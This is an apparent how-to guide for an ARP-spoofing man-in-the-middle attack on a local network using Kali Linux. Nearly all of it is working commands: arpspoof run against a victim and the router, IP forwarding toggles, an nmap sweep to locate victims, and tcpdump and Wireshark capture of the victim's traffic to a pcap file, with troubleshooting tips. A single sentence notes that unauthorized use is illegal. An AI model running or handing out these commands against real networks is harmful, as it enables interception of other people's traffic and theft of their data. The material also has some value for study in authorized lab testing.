Easy Way to Perform MITM attack

on kali linux terminal

echo 0 > /proc/sys/net/ipv4/ip_forward

Complete Two-Terminal Setup You need BOTH commands running simultaneously:

Terminal 1 (Poison the Victim):

sudo arpspoof -i eth0 -t [VICTIM_IP] [ROUTER_IP]

Tells victim: “I am the router”

Terminal 2 (Poison the Router):

sudo arpspoof -i eth0 -t [ROUTER_IP] [VICTIM_IP]

Tells router: “I am the victim”

Finding Your Actual Values Before running the commands, identify:

Find your network interface

ip a

Find router IP and victim IP

ip route | grep default # Shows router IP

sudo nmap -sn 192.168.18.0/24 # Find victim on your network

Example with real IPs:

Terminal 1

sudo arpspoof -i eth0 -t 192.168.18.45 192.168.18.1

Terminal 2

sudo arpspoof -i eth0 -t 192.168.18.1 192.168.18.45

⚠️ Important Prerequisites

1. IP forwarding must be enabled (fix the permission error from before):

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

1. Verify your interface name isn’t actually eth0 (Kali often uses different names):

Common interface names:

eth0, wlan0, wlan1, ens33, enp0s3, wlp2s0

ip link show

1. If using Wi-Fi, you might need:

sudo airmon-ng check kill # Kills problematic processes

Troubleshooting Common Errors

Error: eth0: No such device Solution: Replace eth0 with your actual interface (check ip a)

Error: Permission denied Solution: Make sure you’re using sudo

Error: arpspoof: command not found Solution: Install dsniff: sudo apt install dsniff

Error: No traffic forwarding Solution: Verify IP forwarding is ON: cat /proc/sys/net/ipv4/ip_forward (should show 1)

Verification That It’s Working Once both commands are running, you should see continuous output like:

0:a:b:c:d:e f:g:h:i:j:k 0806 42: arp reply 192.168.18.1 is-at a:b:c:d:e:f

Test the attack:

1. On victim device, try loading a website

2. On Kali, use Wireshark or tcpdump to see intercepted traffic:

sudo tcpdump -i eth0 host [VICTIM_IP]

Stopping the Attack Press Ctrl + C in both terminals, then disable IP forwarding:

echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

Remember: This is only legal on networks you own or have explicit permission to test. Unauthorized ARP spoofing is a criminal offense in most countries.

sudo tcpdump -i eth0 host 192.168.18.22 -w capture.pcap

wireshark capture.pcap